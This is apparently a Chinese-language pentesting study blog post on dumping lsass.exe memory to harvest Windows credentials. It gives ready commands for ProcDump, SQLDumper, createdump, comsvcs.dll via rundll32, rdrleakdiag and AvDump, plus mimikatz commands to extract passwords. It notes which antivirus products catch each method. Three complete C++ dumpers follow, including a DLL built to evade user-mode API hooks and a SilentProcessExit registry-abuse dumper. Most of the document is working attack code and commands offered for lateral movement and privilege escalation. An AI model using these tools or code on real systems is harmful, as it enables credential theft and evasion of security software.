lsass转储学习

lsass.exe(Local Security Authority Subsystem Service进程空间中,存有着机器的域、本地用户名和密码等重要信息。如果获取本地高权限,用户便可以访问LSASS进程内存,从而可以导出内部数据(password),用于横向移动和权限提升。通过lsass转储用户密码或者hash也算是渗透过程中必不可少的一步,这里学习一下原理以及记录下多种转储方法。

@[toc]

常规方法

mimikatz::logonpasswords

我们通常将这些工具称为LOLBins,指攻击者可以使用这些二进制文件执行超出其原始目的的操作。 我们关注LOLBins中导出内存的程序。

白名单工具

三个微软签名的白名单程序

Procdump.exe
SQLDumper.exe
createdump.exe

Procdump转储Lsass.exe的内存

ProcDump是微软签名的合法二进制文件,被提供用于转储进程内存。可以在微软文档中下载官方给出的ProcDump文件

用Procdump 抓取lsass进程dmp文件,

procdump64.exe -accepteula -ma lsass.exe lsass_dump

然后可以配置mimikatz使用

sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswords

如果对lsass.exe敏感的话,那么还可以配合lsass.exe的pid来使用

procdump64.exe -accepteula -ma pid lsass_dum

这种原理是lsass.exe是Windows系统的安全机制,主要用于本地安全和登陆策略,通常在我们登陆系统时输入密码后,密码便会存贮在lsass.exe内存中,经过wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存中,而Mimikatz正是通过对lsass.exe逆算获取到明文密码。

关于查杀情况,火绒病毒查杀并没有扫描到,360在13版本下也没检测到在14版本被查杀了。

SQLDumper.exe

Sqldumper.exe实用工具包含在 Microsoft SQL Server 中。 它生成用于调试目的SQL Server和相关进程的内存转储。 sqldumper的常见路径如下

C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe

C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe

C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe

SQLDumper.exe包含在Microsoft SQL和Office中,可生成完整转储文件。

tasklist /svc | findstr lsass.exe  查看lsass.exe 的PID号
Sqldumper.exe ProcessID 0 0x01100  导出mdmp文件

再本地解密即可需要使用相同版本操作系统。

mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit

被360查杀,火绒没有检测

createdump.exe

随着.NET5出现的,本身是个native binary.虽然有签名同样遭到AV查杀

createdump.exe -u -f lsass.dmp lsass[PID]

同样会被360查杀

comsvcs.dll

comsvcs.dll主要是提供COM+ Services服务。每个Windows系统中都可以找到该文件,可以使用Rundll32执行其导出函数MiniDump实现进程的完全转储。

该文件是一个白名单文件,我们主要是利用了Comsvsc.dll中的导出函数APIMiniDump来实现转储lsass.exe的目的,注意同样是需要管理员权限。因为需要开启SeDebugPrivilege权限。而在cmd中此权限是默认禁用的,powershell是默认启用的。 该文件位于C:\windows\system32\comsvcs.dll

可以这样使用如下方式来调用MiniDump实现转储lsass.exe进程:

powershell C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

360同样查杀,这种直接通过调用APIMiniDump来dump内存的行为还是太过敏感,不稍微修改很容易就被查杀。

其它工具

rdleakdiag.exe

默认存在的系统:

Windows 10 Windows 8.1 Windows 8 Windows7 windows Vista 软件版本 10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000 没有的情况可以选择传一个上去。 生成dmp内存文件

rdrleakdiag.exe /p <pid> /o <outputdir> /fullmemdmp /wait 1 Rst

会产生两个文件,results_+进程pid+.hlk,minidump_+进程pid+.dmp。然后同样使用mimikatz进行破解。

AvDump.exe

AvDump.exe是Avast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,它带有Avast杀软数字签名。所以一般不会被av查杀。 下载地址:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfoDownloadSaveInfodivGoto2 需要在ps中调用,否则cmd默认是不开启seDEBUGPrivilege权限的,但是现在360会检测到avdump.

.\AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0

但也是会被360查杀。

自主编写dll

调用APIMiniDump的一个demo

这里涉及到windows进程编程,可以先看看如何遍历windows下的进程。遍历进程需要几个API和一个结构体。

​ 1.创建进程快照
​ 2.初始化第一个要遍历的进程
​ 3.继续下次遍历
​ 4.进程信息结构体

创建进程使用CreateToolhelp32Snapshot

HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, //用来指定“快照”中需要返回的对象,可以是TH32CS_SNAPPROCESS等
DWORD th32ProcessID //一个进程ID号,用来指定要获取哪一个进程的快照,当获取系统进程列表或获取 当前进程快照时可以设为0
);

获取第一个进程句柄使用Process32First

BOOL WINAPI Process32First(
    HANDLE hSnapshot,//_in,进程快照句柄
    LPPROCESSENTRY32 lppe//_out,传入进程信息结构体,系统帮你填写.
);

获取下一个进程使用Process32Next

BOOL WINAPI Process32Next(
  HANDLE hSnapshot,        从CreateToolhelp32Snapshot 返回的句柄
  LPPROCESSENTRY32 lppe     指向PROCESSENTRY32结构的指针,进程信息结构体
);

其中还涉及到PROCESSENTRY32的结构体对我们有用的就是

  • dwSize 初始化结构体的大小
  • th32ProcessId 进程ID
  • szExeFile[MAX_PATH] 进程路径
typedef struct tagPROCESSENTRY32 {
    DWORD dwSize; // 结构大小,首次调用之前必须初始化;
    DWORD cntUsage; // 此进程的引用计数,为0时则进程结束;
    DWORD th32ProcessID; // 进程ID;
    DWORD th32DefaultHeapID; // 进程默认堆ID;
    DWORD th32ModuleID; // 进程模块ID;
    DWORD cntThreads; // 此进程开启的线程计数;
    DWORD th32ParentProcessID;// 父进程ID;
    LONG pcPriClassBase; // 线程优先权;
    DWORD dwFlags; // 保留;
    char szExeFile[MAX_PATH]; // 进程全名;
} PROCESSENTRY32;

所以实现的代码就是

void getProcess() {
    DWORD PID;
    HANDLE hProcessSnap;
    PROCESSENTRY32 process32;
    process32.dwSize = sizeof(process32);
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        printf("CreateToolhelp32Snapshot error!\n");
    }
    BOOL FirstProcess = Process32First(hProcessSnap, &process32);
    while (FirstProcess)
    {
        BOOL NextProcess = Process32Next(hProcessSnap, &process32);
        if (NextProcess) {
            printf("%ls----%d\n", process32.szExeFile, process32.th32ProcessID);
            FirstProcess = Process32Next(hProcessSnap, &process32);

        }

    }
    CloseHandle(hProcessSnap);
}

完整dump lsass进程内存的代码

#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
using namespace std;
void getProcess() {
    DWORD PID;
    HANDLE hProcessSnap;
    PROCESSENTRY32 process32;
    process32.dwSize = sizeof(process32);
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        printf("CreateToolhelp32Snapshot error!\n");
    }
    BOOL FirstProcess = Process32First(hProcessSnap, &process32);
    while (FirstProcess)
    {
        BOOL NextProcess = Process32Next(hProcessSnap, &process32);
        if (NextProcess) {
            printf("%ls----%d\n", process32.szExeFile, process32.th32ProcessID);
            FirstProcess = Process32Next(hProcessSnap, &process32);
 
        }
 
    }
    CloseHandle(hProcessSnap);
}
int main() {
    DWORD lsassPID = 0;
    HANDLE lsassHandle = NULL;
    HANDLE outFile = CreateFile(TEXT("lsass.dmp"), GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";
 
    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processName, L"lsass.exe") != 0) {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
        wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
    }
 
    lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
    BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
 
    if (isDumped) {
        cout << "[+] lsass dumped successfully!" << endl;
    }
 
    return 0;
}

当然我们直接这样写的代码肯定是会被无情的拦截的,这类API大家已经再熟悉不过了,肯定是被拦截的很严重的。

编写Dump Lsass的DLL(yes)

其实就是为了解决直接使用Comsvsc.dll中的APIMiniDump函数容易被用户模式下的API hook拦截的问题。dll编写的思路一般是

  • 获取Debug权限
  • 找到lsass的PID
  • 使用MiniDump或MiniDumpWriteDump进行内存dump

首先需要解决权限提升的问题,这里常用的是RtlAdjustPrivilege函数来进行权限提升,这个函数封装在NtDll.dll中。这个函数的定义和解释:

NTSTATUS RtlAdjustPrivilege(
  ULONG               Privilege,
  BOOLEAN             Enable,
  BOOLEAN             CurrentThread,
  PBOOLEAN            Enabled
);

函数说明:

RtlAdjustPrivilege 函数用于启用或禁用当前线程或进程的特权。调用此函数需要进程或线程具有 SE_TAKE_OWNERSHIP_NAME 特权或调用者已经启用了此特权。

参数说明:

  • Privilege:要调整的特权的标识符。可以是一个 SE_PRIVILEGE 枚举值或一个特权名称字符串。
  • Enable:指示是启用(TRUE)还是禁用(FALSE)特权。
  • CurrentThread:指示要调整特权的是当前线程(TRUE)还是当前进程(FALSE)。
  • Enabled:输出参数,返回调整特权操作的结果。如果特权成功启用或禁用,则返回 TRUE;否则返回 FALSE。

返回值:

  • 如果函数成功执行,则返回 STATUS_SUCCESS;否则返回错误代码。

需要注意的是,该函数并不是公开的 Win32 API 函数,而是 Windows 内核函数,只能从其他内核函数中调用。

我们首先调用 OpenProcessToken 函数打开当前进程的访问令牌。然后,使用 LookupPrivilegeValue 函数获取 SE_DEBUG_NAME 权限的本地权限 ID。接着,我们定义了一个 TOKEN_PRIVILEGES 结构体,将 SE_DEBUG_NAME 权限添加到该结构体中,并通过 AdjustTokenPrivileges 函数提升当前进程的权限。最后,我们关闭了访问令牌句柄并退出程序。 所以提升权限可以这样写

void getPrivilege()
{
	HANDLE hToken;
	TOKEN_PRIVILEGES tkp;
 
	// 打开当前进程的访问令牌
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
	{
		// 获取 SeDebugPrivilege 权限的本地权限 ID
		if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
		{
			tkp.PrivilegeCount = 1;
			tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
			// 提升当前进程的 SeDebugPrivilege 权限
			if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL))
			{
				std::cout << "Token privileges adjusted successfully" << std::endl;
 
				// 关闭访问令牌句柄
				CloseHandle(hToken);
			}
			else {
				std::cout << "AdjustTokenPrivileges faile" << std:endl;
			}
		}
		else {
			std::cout << "LookupPrivilegeValue faile" << std::endl;
		}
	}
	else {
		std::cout << "OpenProcessToken faile" << std::endl;
	}
 
 
}
 

再配合上获取lsass进程pid和dump 进程后完整代码就是

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <iostream>
using namespace std;
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
 
int GetLsassPid() {
 
	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);
 
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
 
	if (Process32First(hSnapshot, &entry)) {
		while (Process32Next(hSnapshot, &entry)) {
			if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
				return entry.th32ProcessID;
			}
		}
	}
 
	CloseHandle(hSnapshot);
	return 0;
}
void getPrivilege()
{
	HANDLE hToken;
	TOKEN_PRIVILEGES tkp;
 
	// 打开当前进程的访问令牌
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
	{
		// 获取 SeDebugPrivilege 权限的本地权限 ID
		if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
		{
			tkp.PrivilegeCount = 1;
			tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
			// 提升当前进程的 SeDebugPrivilege 权限
			if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL))
			{
				cout << "Token privileges adjusted successfully" << endl;
 
				// 关闭访问令牌句柄
				CloseHandle(hToken);
			}
			else {
				cout << "AdjustTokenPrivileges faile" << endl;
			}
		}
		else {
			cout << "LookupPrivilegeValue faile" << endl;
		}
	}
	else {
		cout << "OpenProcessToken faile" << endl;
	}
 
 
}
void DumpLsass()
{
	wchar_t  ws[100];
	_MiniDumpW MiniDumpW;
 
	MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
	cout << "GetProcAddress MiniDumpW success" << endl;
	swprintf(ws, 100, L"%u %hs", GetLsassPid(), "C:\\temp.bin full");	
 
	getPrivilege();
 
	MiniDumpW(0, 0, ws);
}
 
BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		DumpLsass();
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
int main() {
	DumpLsass();
}

添加自定义的SSP

使用MemSSP对lsass进行patch

使用AddSecurityPackage加载SSP

rpc + ssp

就是我们常用的mimikatz的misc::memssp

SilentProcessExit进行Dump

具体原理参考文章:利用SilentProcessExit机制dump内存

Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。在某个运行中的进程崩溃时,werfault.exe将会Dump崩溃进程的内存,从这一点上看,我们是有可能可以利用该行为进行目标进程内存的Dump。

优点:系统正常行为 缺点:需要写注册表

该机制提供了在两种情况下可以触发对被监控进行进行特殊动作的能力:

  • (1)被监控进程调用 ExitProcess() 终止自身;

  • (2)其他进程调用 TerminateProcess() 结束被监控进程。

也就意味着当进程调用ExitProcess() 或 TerminateProcess()的时候,可以触发对该进程的如下几个特殊的动作:

- 启动一个监控进程
- 显示一个弹窗
- 创建一个Dump文件

但由于该功能默认不开启,我们需要对注册表进行操作,来开启该功能,主要的注册表项为:

添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
名称				 类型 	   		  数据
DumpType		 	REG_DWORD     完全转储目标进程内存的值为MiniDumpWithFullMemory (0x2)
LocalDumpFolder		REG_SZ	      (DUMP文件被存放的目录,默认为%TEMP%\\Silent Process Exit)c:\temp
ReportingMode(REG_DWORD)	REG_DWORD	a)LAUNCH_MONITORPROCESS (0x1) – 启动监控进程;
                                              b)LOCAL_DUMP (0x2) – 为导致被监控进程终止的进程和被监控进程本身 二者 创建DUMP文件;
                                              c)NOTIFICATION (0x4) – 显示弹窗。

添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
名称				类型			数据
GlobalFlag		REG_DWORD	  0x200

另外就是第二个注册表,这个主要是设置dump内存的一些细节问题,比如dump的位置、崩溃后操作的类型,这类选择的是LOCAL_DUMP,即0x2也就是为导致终止的进程和终止的进程创建一个转储文件。

这里我们需要使用的是MiniDumpWithFullMemory对应的值是0x2。

关于MiniDumpWithFullMemory,其都定义在MINIDUMP_TYPE之中,其结构体如下:

typedef enum _MINIDUMP_TYPE {
  MiniDumpNormal,
  MiniDumpWithDataSegs,
  MiniDumpWithFullMemory,
  MiniDumpWithHandleData,
  MiniDumpFilterMemory,
  MiniDumpScanMemory,
  MiniDumpWithUnloadedModules,
  MiniDumpWithIndirectlyReferencedMemory,
  MiniDumpFilterModulePaths,
  MiniDumpWithProcessThreadData,
  MiniDumpWithPrivateReadWriteMemory,
  MiniDumpWithoutOptionalData,
  MiniDumpWithFullMemoryInfo,
  MiniDumpWithThreadInfo,
  MiniDumpWithCodeSegs,
  MiniDumpWithoutAuxiliaryState,
  MiniDumpWithFullAuxiliaryState,
  MiniDumpWithPrivateWriteCopyMemory,
  MiniDumpIgnoreInaccessibleMemory,
  MiniDumpWithTokenInformation,
  MiniDumpWithModuleHeaders,
  MiniDumpFilterTriage,
  MiniDumpWithAvxXStateContext,
  MiniDumpWithIptTrace,
  MiniDumpScanInaccessiblePartialPages,
  MiniDumpValidTypeFlags
} MINIDUMP_TYPE;

下面就是让lsass进程终止了,但是lsass.exe是系统进程,如果彻底终止就会导致系统蓝屏从而重启电脑,但是我们的目的只是为了转储lsass进程而不让电脑重启,这个时候我们就用到了RtlReportSilentProcessExit这个api,该API将与Windows错误报告服务(WerSvcGroup下的WerSvc)通信,告诉服务该进程正在执行静默退出。然后,WER服务将启动WerFault.exe,该文件将转储现有进程。值得注意的是,调用此API不会导致进程退出。其定义如下:


NTSTATUS (NTAPI * RtlReportSilentProcessExit )(
        _In_      HANDLE      ProcessHandle,
        _In_      NTSTATUS    ExitStatus 
       );

所以最终的流程就是类似如图

作者的代码中,提供了两种方法来实现崩溃,一种是直接调用RtlReportSilentProcessExit,而另一种则是使用CreateRemoteThread()来实现,实际上就是远程在LSASS中创建线程执行RtlReportSilentProcessExit

#include "windows.h"
#include "tlhelp32.h"
#include "stdio.h"
#include "shlwapi.h"
 
#pragma comment(lib, "shlwapi.lib")
 
#define IFEO_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
#define SILENT_PROCESS_EXIT_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"
#define LOCAL_DUMP 0x2
#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200
#define DUMP_FOLDER L"C:\\temp"
#define MiniDumpWithFullMemory 0x2
 
typedef NTSTATUS(NTAPI * fRtlReportSilentProcessExit)(
    HANDLE processHandle,
    NTSTATUS ExitStatus
    );
 
BOOL EnableDebugPriv() {
    HANDLE hToken = NULL;
    LUID luid;
 
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        printf(" - 获取当前进程Token失败 %#X\n", GetLastError());
        return FALSE;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
        printf(" - Lookup SE_DEBUG_NAME失败 %#X\n", GetLastError());
        return FALSE;
    }
    TOKEN_PRIVILEGES tokenPriv;
    tokenPriv.PrivilegeCount = 1;
    tokenPriv.Privileges[0].Luid = luid;
    tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL)) {
        printf(" - AdjustTokenPrivileges 失败: %#X\n", GetLastError());
        return FALSE;
    }
    return TRUE;
}
 
BOOL setRelatedRegs(PCWCHAR procName) {
 
    HKEY hkResSubIFEO = NULL;
    HKEY hkResSubSPE = NULL;
    DWORD globalFlag = FLG_MONITOR_SILENT_PROCESS_EXIT;
    DWORD reportingMode = MiniDumpWithFullMemory;
    DWORD dumpType = LOCAL_DUMP, retstatus = -1;
 
    BOOL ret = FALSE;
 
    PWCHAR subkeyIFEO = (PWCHAR)malloc(lstrlenW(IFEO_REG_KEY)*2 + lstrlenW(procName)*2 + 5);
    wsprintf(subkeyIFEO, L"%ws%ws", IFEO_REG_KEY, procName);
    PWCHAR subkeySPE = (PWCHAR)malloc(lstrlenW(SILENT_PROCESS_EXIT_REG_KEY)*2 + lstrlenW(procName)*2 + 5);
    wsprintf(subkeySPE, L"%ws%ws", SILENT_PROCESS_EXIT_REG_KEY, procName);
 
    printf(" - [DEBUGPRINT] Image_File_Execution_Options: %ws\n", subkeyIFEO);
    printf(" - [DEBUGPRINT] SilentProcessExit: %ws\n", subkeySPE);
 
    do {
        // 设置 Image File Execution Options\<ProcessName> 下GlobalFlag键值为0x200
        if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeyIFEO, &hkResSubIFEO))) {
            printf(" - 打开注册表项 Image_File_Execution_Options 失败: %#X\n", GetLastError());
            break;
        }
        if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubIFEO, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&globalFlag, sizeof(globalFlag)))) {
            printf(" - 设置注册表键 GlobalFlag 键值失败: %#X\n", GetLastError());
            break;
        }
 
        // 设置 SilentProcessExit\<ProcessName> 下 ReporingMode/LocalDumpFolder/DumpType 三个值
        if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeySPE, &hkResSubSPE))) {
            printf(" - 打开注册表项 SilentProcessExit 失败: %#X\n", GetLastError());
            break;
        }
        if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&reportingMode, sizeof(reportingMode)))
            || ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)DUMP_FOLDER, lstrlenW(DUMP_FOLDER)*2))
            || ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"DumpType", 0, REG_DWORD, (const BYTE*)&dumpType, sizeof(dumpType)))) {
            printf(" - 设置注册表键 reportingMode|LocalDumpFolder|DumpType 键值失败: %#X\n", GetLastError());
            break;
        }
        printf(" - 注册表设置完成 ...\n");
        ret = TRUE;
 
    } while (FALSE);
 
    free(subkeyIFEO);
    free(subkeySPE);
    if (hkResSubIFEO)
        CloseHandle(hkResSubIFEO);
    if (hkResSubSPE)
        CloseHandle(hkResSubSPE);
 
    return ret;
}
 
DWORD getPidByName(PCWCHAR procName) {
 
    HANDLE hProcSnapshot;
    DWORD retPid = -1;
    hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe;
 
    if (INVALID_HANDLE_VALUE == hProcSnapshot) {
        printf(" - 创建快照失败!\n");
        return -1;
    }
    pe.dwSize = sizeof(PROCESSENTRY32W);
    if (!Process32First(hProcSnapshot, &pe)) {
        printf(" - Process32First Error : %#X\n", GetLastError());
        return -1;
    }
    do {
        if (!lstrcmpiW(procName, PathFindFileName(pe.szExeFile))) {
            retPid = pe.th32ProcessID;
        }
    } while (Process32Next(hProcSnapshot, &pe));
    CloseHandle(hProcSnapshot);
    return retPid;
}
 
INT main() {
 
    PCWCHAR targetProcName = L"lsass.exe";
    DWORD pid = -1;
    HMODULE hNtMod = NULL;
    fRtlReportSilentProcessExit fnRtlReportSilentProcessExit = NULL;
    HANDLE hLsassProc = NULL;
    NTSTATUS ntStatus = -1;
 
    if (!EnableDebugPriv()) {
        printf(" - 启用当前进程DEBUG权限失败: %#X\n", GetLastError());
        return 1;
    }
    printf(" - 启用当前进程DEBUG权限 OK\n");
 
    if (!setRelatedRegs(targetProcName)) {
        printf(" - 设置相关注册表键值失败: %#X\n", GetLastError());
        return 1;
    }
    printf(" - 设置相关注册表键值 OK\n");
 
    pid = getPidByName(targetProcName);
    if (-1 == pid) {
        printf(" - 获取目标进程pid: %#X\n", pid);
        return 1;
    }
    printf(" - 获取目标PID: %#X\n", pid);
 
    do
    {
        hNtMod = GetModuleHandle(L"ntdll.dll");
        if (!hNtMod) {
            printf(" - 获取NTDLL模块句柄失败\n");
            break;
        }
        printf(" - NTDLL模块句柄: %#X\n", (DWORD)hNtMod);
        fnRtlReportSilentProcessExit = (fRtlReportSilentProcessExit)GetProcAddress(hNtMod, "RtlReportSilentProcessExit");
        if (!fnRtlReportSilentProcessExit) {
            printf(" - 获取API RtlReportSilentProcessExit地址失败\n");
            break;
        }
        printf(" - RtlReportSilentProcessExit地址: %#X\n", (DWORD)fnRtlReportSilentProcessExit);
        hLsassProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION|PROCESS_VM_READ, 0, pid);
        if (!hLsassProc) {
            printf(" - 获取lsass进程句柄失败: %#X\n", GetLastError());
            break;
        }
        printf(" - 获取lsass进程句柄: %#X\n", (DWORD)hLsassProc);
 
        ntStatus = fnRtlReportSilentProcessExit(hLsassProc, 0);
        printf(" - 结束,查看c:\\temp\\lsass*.dmp...RET CODE : %#X\n", (DWORD)ntStatus);
 
    } while (false);
 
    if (hNtMod) 
        CloseHandle(hNtMod);
    if (fnRtlReportSilentProcessExit) 
        CloseHandle(fnRtlReportSilentProcessExit);
    if (hLsassProc)
        CloseHandle(hLsassProc);
    if (fnRtlReportSilentProcessExit)
        fnRtlReportSilentProcessExit = NULL;
 
    return 0;
}

参考文章 https://lengjibo.github.io/lassdump/ https://xz.aliyun.com/t/12157#toc-10 https://www.crisprx.top/archives/469 https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E8%BF%9C%E7%A8%8B%E4%BB%8Elsass.exe%E8%BF%9B%E7%A8%8B%E5%AF%BC%E5%87%BA%E5%87%AD%E6%8D%AE https://www.freebuf.com/sectool/226170.html https://xz.aliyun.com/t/12157#toc-4 https://cloud.tencent.com/developer/article/2103172 https://mrwu.red/web/2000.html